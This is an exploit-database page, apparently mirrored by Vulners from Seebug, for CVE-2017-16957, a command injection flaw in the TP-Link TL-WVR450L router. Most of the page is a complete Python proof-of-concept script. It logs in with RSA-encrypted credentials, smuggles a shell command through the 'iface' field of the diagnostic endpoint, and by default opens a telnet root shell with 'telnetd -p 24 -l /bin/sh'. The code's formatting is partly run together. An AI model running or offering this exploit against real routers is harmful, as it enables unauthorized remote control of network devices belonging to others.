Lucene search
K

TP-Link 路由器命令注入漏洞(CVE-2017-16957)

🗓️ 11 Jan 2018 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 504 Views

TP-Link router command injection vulnerability (CVE-2017-16957

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Command Injection Vulnerability in Multiple TP-Link Products
29 Nov 201700:00
cnvd
CVE
CVE-2017-16957
27 Nov 201710:00
cve
Cvelist
CVE-2017-16957
27 Nov 201710:00
cvelist
EUVD
EUVD-2017-8126
7 Oct 202500:30
euvd
NVD
CVE-2017-16957
27 Nov 201710:29
nvd
Prion
Command injection
27 Nov 201710:29
prion

                                                # Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.jsimport execjsimport requestsimport jsonimport urllibdef read_js():    file = open("./RSA_Encryption_For_Tplink.js", 'r')
   line = file.readline()
   js = ''
   while line:
       js = js + line
       line = file.readline()    file.close()    return jsdef execute(ip, port, username, passwd, cmd):

   try:
       s = requests.session()


       uri = "http://{}:{}".format(ip,port)
       headers = {            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',            'Referer': 'http://{}/webpages/login.html'.format(ip)
           }
       payload = {            "method":"get"
       }
       ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
       rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
       rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
       js = read_js()
       js_handle = execjs.compile(js)        password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)


       payload = {            "method":"login",            "params":{                "username":"{}".format(username),                "password":"{}".format(password)
           }
       }
       ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
       stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
       cookie = ret.headers['Set-Cookie']


       print '[+] Login success'
       print '[+] Get The Token: ' + stok
       print '[+] Get The Cookie: ' + cookie


       headers = {            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',            'Referer':'http://{}/webpages/login.html'.format(ip),            'Cookie':'{}'.format(cookie)
           }
       payload = {            "method":"start",            "params":{                "type":"0",                "type_hidden":"0",                "ipaddr_ping":"127.0.0.1",                "iface_ping":"WAN1",                "ipaddr":"127.0.0.1",                "iface":";{}".format(cmd),                "count":"1",                "pktsize":"64",                "my_result":"exploit"
           }
       }
       ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)


       #print ret.text
       print '[+] Finish RCE'
       print '--------------------------------------------------------------'
       return True

   except:        return Falseif __name__=='__main__':
   print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
   print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation